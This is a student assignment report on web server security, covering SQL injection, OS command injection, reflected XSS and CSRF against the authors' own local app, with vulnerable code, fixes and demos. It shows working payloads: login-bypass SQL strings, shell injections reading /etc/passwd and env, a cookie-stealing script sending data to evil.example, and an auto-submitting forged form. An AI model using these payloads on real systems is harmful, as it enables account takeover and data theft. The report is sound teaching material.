Indian Institute of Information Technology Allahabad
Department of Information Technology
Cyber Security (IT-30001) · Autumn Semester 2026

Web Server Security

Exploitation and Mitigation of Four Vulnerability Categories

ASSIGNMENT REPORT

Submitted by

Adabala Sridhar (IIT2024218)
Nitya Varma (IIT2024217)
Shon Waghchoure (IIT2024247)
Vandita (IIT2024228)

Date: 27 October 2026

Contents

1. Introduction 1

2. SQL Injection 1

3. OS Command Injection 2

4. Cross-Site Scripting (XSS) 3

5. Cross-Site Request Forgery (CSRF) 4

6. Summary and Ownership 6

1. Introduction

Web servers accept input from anyone on the internet, which makes them a frequent target and makes the handling of that input central to their security. This report covers four classes of web server vulnerability studied in the course: SQL injection, OS command injection, cross-site scripting (XSS), and cross-site request forgery (CSRF). For each one it identifies the flaw in code, shows a working exploit, explains the root cause, applies one mitigation, and summarises the other mitigations from the lecture slides.

The examples come from a small web application built for this assignment. Every vulnerability appears in two forms: a version that contains the flaw and a secured version of the same feature. Keeping both lets the identical attack be run against each, so it can be seen to succeed against the vulnerable page and fail against the fixed one, which is the evidence required for the mitigation. All testing was carried out locally against our own application and never against any shared, classroom, or external system.

The approach follows the lecture material on reconnaissance and vulnerability assessment. Each flaw was first located by reading the code for places where untrusted input reaches a sensitive operation, then confirmed by crafting an input that triggers it, and finally closed by changing the code so that the same input no longer has any effect.

One idea runs through the first three cases. SQL injection, command injection and XSS all arise when untrusted input is mixed into code or markup, so that the input is interpreted as instructions rather than treated as data; the fix in each case is to keep the two apart. CSRF is different: there the server trusts that a request was intended simply because it carried a valid session cookie, and the fix is to demand proof that the request was deliberate.

2. SQL Injection

SQL injection occurs when user input is placed directly into a database query. A login form is a classic location, because it takes untrusted input and immediately uses it in a query. The vulnerable page builds its query by joining strings together:

```
const sql = "SELECT * FROM users WHERE username = '" + user +
            "' AND password = '" + pass + "'";
db.query(sql);
```

Whatever the user types becomes part of the SQL statement. Setting the username field to `admin' --` turns the query into `SELECT * FROM users WHERE username = 'admin' --' AND`

`password = '...'`. The `--` begins an SQL comment, which removes the password check, so the server logs in as admin without the password. The input `' OR '1'='1` makes the condition always true and returns the first row. The other variant of this category uses a `UNION` query to append rows from other tables to the result, which can read data such as usernames and password hashes from tables the page was never meant to expose.

The root cause is that user input is concatenated into the query, so the database parses the quotes and dashes as SQL syntax instead of treating them as part of a value. The impact is broad: depending on the query, an attacker can log in as any user, read the whole database, modify or delete records, or in some configurations run commands on the database server.

The mitigation we implemented is a parameterised query, also called a prepared statement, in which the query text and the data travel to the database separately:

```
db.query("SELECT * FROM users WHERE username = ? AND password = ?",
         [user, pass]);
```

The `?` placeholders are bound by the database driver, which treats the supplied values strictly as data. A quote or comment in the input becomes part of the string being compared, so `admin' --` is looked up as a literal username and the login fails. In the demo, the same input that logs in on the vulnerable page is rejected as an unknown user on the fixed page, which is the blocked-attempt evidence.

Other mitigations from the slides. Validate input against an allow-list so unexpected characters are refused early. Give the application a database account with least privilege, so a successful injection cannot drop tables or reach unrelated data. And return generic error messages, because detailed SQL errors reveal the query's structure and help an attacker refine the payload.

3. OS Command Injection

Command injection occurs when user input is placed into a command that the server runs through a shell. Our example is a small network tool that pings a host supplied by the user. The vulnerable page builds the command as a string and runs it with `exec`:

```
const cmd = `ping -c 1 ${host}`;
exec(cmd, ...);   // runs the whole string in /bin/sh -c
```

Because `exec` passes the string to a shell, characters such as `;` and `&&` are read as shell

syntax. Entering `127.0.0.1; id` makes the server run ping and then `id`; and because this is the in-band variant, the output of `id` is returned in the response. The same technique reads files with `127.0.0.1; cat /etc/passwd` and leaks configuration with `127.0.0.1; env`. The blind variant returns no output, so an attacker infers success from a timing signal such as `; sleep 5` or from an out-of-band network callback.

The root cause is user input concatenated into a command string that a shell then interprets. The impact is severe, because the injected command runs with the privileges of the web server process: an attacker can read and change files, open network connections, and in general run anything that account can run, which amounts to remote code execution.

The mitigation we implemented removes the shell. Instead of `exec`, the secure page uses `execFile`, which launches ping directly with its arguments supplied as a list:

```
execFile('ping', ['-c', '1', '--', host]);
```

Passed this way, the host is a single argument to ping, so a semicolon inside it is only a character and never begins a new command. As a second layer the page validates the input and accepts only letters, digits, dots and hyphens, rejecting anything else before it runs. In the demo, `127.0.0.1; id` returns the output of `id` on the vulnerable page but is answered with a rejection message on the fixed page, while an ordinary address still pings normally.

Other mitigations from the slides. Validate the input against an allow-list. Run the service with least privilege, as a restricted user, so a successful injection achieves little. And where possible use a library function for the task instead of calling a shell command, which removes the command line from the design entirely.

4. Cross-Site Scripting (XSS)

Cross-site scripting occurs when a server places untrusted input into a web page without encoding it, so the browser executes it as code. Our example is a search page that echoes the user's search term back in its results. The vulnerable page writes the term straight into the HTML:

```
res.send(`<p>No results for: ${req.query.q}</p>`);
```

An ordinary word is harmless. But an attacker can craft a link whose query is a script, for example `/search?q=`

`<script>location='http://evil.example/c?'+document.cookie</script>`, and send it to a victim. When the victim opens the link, the server reflects the script straight back inside the page and the victim's browser runs it, here sending their session cookie to the attacker. Because the payload travels in the request and is reflected immediately rather than being saved, this is the reflected variant, which usually relies on a crafted link, search box, or error message. The stored variant instead saves the payload on the server so that it runs for every later visitor.

The root cause is that untrusted input is rendered into the page without output encoding, so the browser cannot distinguish the attacker's markup from the page's own. The impact includes stealing session cookies and hijacking accounts, performing actions as the victim, capturing keystrokes, and defacing the page; because the script runs in the victim's browser with the site's privileges, it can do whatever the user could.

The mitigation we implemented is output encoding. Before the term is placed in the page, the characters that have special meaning in HTML are replaced with their entity forms:

```
const safe = term.replace(/&/g,'&amp;').replace(/</g,'&lt;')
                 .replace(/>/g,'&gt;').replace(/"/g,'&quot;');
```

Now `<script>` arrives in the page as the text `<script>`, which the browser displays as characters and does not run. In practice this escaping is applied automatically by a template engine, so that no output is missed. In the demo, the crafted link runs the script on the vulnerable page but shows it as plain text on the fixed page.

Other mitigations from the slides. A Content Security Policy blocks inline and unknown scripts even if one gets through. HttpOnly cookies prevent a script from reading the session cookie. A trusted HTML sanitiser is used where rich formatting must be allowed. And on the client, safe DOM methods such as `textContent` are used in place of `innerHTML`.

5. Cross-Site Request Forgery (CSRF)

Cross-site request forgery makes a logged-in user's browser send a request the user did not intend. It works because the browser automatically attaches the user's cookies to every request to a site, including requests started by a different site. Our example is a "change email" action whose vulnerable page accepts the change based only on the session cookie:

```
app.post('/account/email', (req, res) => {
  // a session cookie is present, so just do it
  updateEmail(req.session.user, req.body.email);
});
```

An attacker places a hidden form on their own page that posts to this endpoint and submits it with JavaScript as the page loads:

```
<form action="http://victim.example/account/email" method="POST">
  <input name="email" value="attacker@evil.example">
</form>
<script>document.forms[0].submit()</script>
```

If a logged-in victim merely opens the attacker's page, their browser sends the POST with the session cookie attached and the server changes the victim's email. The GET-based variant is simpler still: the action can be triggered by an `<img>` tag whose source is a state-changing URL.

The root cause is that the server accepts a state-changing request without any proof that the user meant to send it; the presence of the session cookie alone is treated as permission. The impact is that an attacker can perform any state-changing action the victim is allowed to perform, such as changing an email or password, transferring funds, or altering settings, all without stealing the victim's credentials.

The mitigation we implemented is an anti-CSRF token, also called a synchronizer token. The server places a random, per-session token in its own forms and verifies it on every state-changing request:

```
if (req.body.csrfToken !== req.session.csrfToken) {
  return res.status(403).send('Invalid CSRF token');
}
```

The attacker's page cannot read this token, because the browser's same-origin policy stops one site from reading another's pages, so the forged request arrives without it and is refused; a genuine submission from the site's own form carries the correct token and succeeds. In the demo, the auto-submitting attacker page changes the email on the vulnerable endpoint but receives a 403 from the fixed endpoint that requires the token.

Other mitigations from the slides. SameSite cookies instruct the browser not to attach the session cookie to cross-site requests. Re-authentication, such as a password prompt, protects the most sensitive actions. And avoiding state-changing GET requests ensures an

action cannot be triggered by a plain link or an image tag.

6. Summary and Ownership

The four vulnerabilities share a shape. In SQL injection, command injection and XSS, the fix is to keep untrusted input as data and never let it become code or markup, achieved through parameterised queries, argument vectors, and output encoding respectively. In CSRF the fix is to require proof of intent through a token the attacker cannot supply. Across all four, input validation, least privilege, and safe defaults reinforce the main fix.

This report documents all four categories for study. The table below records which member implemented which variant.

Member name	Roll number	Category	Variant implemented
Adabala Sridhar	IIT2024218	SQL injection	Authentication bypass
Nitya Varma	IIT2024217	OS command injection	In-band (command output returned)
Shon Waghchoure	IIT2024247	Cross-Site Scripting (XSS)	Reflected XSS
Vandita	IIT2024228	Cross-Site Request Forgery (CSRF)	POST-based forged action (auto-submitting form)

Each variant can be demonstrated live, with the same payload shown working against the vulnerable page and failing against the secured one, and each author is prepared to explain their own variant individually at the viva.